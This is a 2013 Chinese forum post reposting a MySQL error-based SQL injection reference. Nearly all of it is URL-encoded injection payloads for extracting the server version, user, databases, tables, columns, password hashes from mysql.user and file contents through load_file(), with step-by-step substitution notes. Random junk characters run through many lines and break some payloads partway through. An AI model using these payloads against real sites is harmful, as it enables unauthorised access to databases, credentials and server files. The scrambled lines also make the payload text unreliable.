本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
! |5 X# z9 h C/ V2 o
5 B, f! N( |* z; [: t% B6 ?, F$ ^7 s
Mysql暴错注入参考(pdf),每天一贴。。。
, c8 g2 E. H8 K; l0 n* S% Z* ^
MySql Error Based Injection Reference8 V. p: Q2 G" R& x) P8 e& _( b
[Mysql暴错注入参考]' S. Z! ~% s7 V$ \4 M
Authornig0s1992
8 Z0 c8 M _: _. @' jBlog:http://pnig0s1992.blog.51cto.com/
! x+ Z$ v' n( N4 {1 y0 UTeAm:http://www.FreeBuf.com/
- t+ s2 G+ N# `5 ~) X9 A1 zMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功, l" }) _! v* h9 Y2 O+ M L
小部分版本使用name_const()时会报错.可以用给出的Method.2测试! }4 B, y1 s6 K; ^
查询版本:
1 p9 G# u4 [$ {1 ~. v& n9 J! ~6 o( kMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
1 K( k5 o7 Z% G" O/ ]5 \join+(select+name_const(@@version,0))b)c)
- g0 q6 q* D, r2 v, T# K9 G# l* A7 pMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro" |% E# \, [ [5 c0 N
up by a)b)
0 N8 p) q% X" r. _! g查询当前用户:
9 F& u' ~; B; jMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
3 Q4 H% k/ d: Q0 K. iMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
) j2 I3 @7 ?* ~% Uand(0)*2))x+from+information_schema.tables+group+by+x)a)
/ ^& ]% \% L+ `4 B8 V8 a查询当前数据库:- q4 S8 g7 r2 d, y2 ^! f/ [8 p
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) @! @; k# g" U+ f6 kMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo5 l) z$ j* _" r. l3 d8 ~9 m; \
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
4 A V, e9 w; Z1 Q% t7 X% `依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
$ A& b$ L/ m: [ R0 O5 R- cLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
4 ^ y: ?5 R+ H) |9 A1 T顺序替换 x2 U9 a* @9 v0 q
爆指定库数目:! _6 a" P4 O# \8 @
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t) O4 ]4 W! J" w* F
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
1 O; |+ h5 k& G+by+x)a)+and+1=1 0x6D7973716C=mysql8 D9 m' S9 ]- d S0 u
依次爆表:# X6 g4 `" C {. O& r& T
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
5 n5 V# Q* c d Q0 e8 Y" v% B9 W3 Z k7 oable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta7 g5 h7 R8 Q, Z
bles+group+by+x)a)+and+1=1% {( @2 \3 Z( \9 k7 S
0x6D7973716C=Mysql 将n顺序替换
6 g: |" p- l7 V5 ~% I7 @2 n爆表内字段数目:9 {5 D1 O0 h7 l3 Q8 X' @
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
# t+ r/ {0 K' |' a2 _+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
; i3 U* ]8 e% M3 K0 P7 U0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
; ]2 }6 K( N% x# t, T, K: t1 R依次爆字段:
8 w% o3 }0 u! aand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
( G( a( H4 K9 S; Z$ s+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
0 _/ p9 O. t0 n3 G5 |loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
# P) e1 Z' t0 F4 U E4 c+ B依次暴内容:- Q+ X* C) ?4 ]! d: }
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche4 k) P2 G, M2 G; P# j
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
0 l/ e( s" t; v; B将n顺序替换3 }) v( q" F$ C) v% J5 H8 E- r
爆文件内容:
4 p5 F+ h1 e' L' xand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a( M# P. j2 o1 V1 i5 e n
from+information_schema.tables+group+by+a)b)
; e% x. d+ }% ^0 S0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
. v3 p4 Y! ]; ~$ ]: k) k3 b+ g, zThx for reading.
9 H( k" [2 c/ m! ^
8 A( K: H7 H% u, V% C不要下载也可以, ( q# |, f1 P: j1 [
|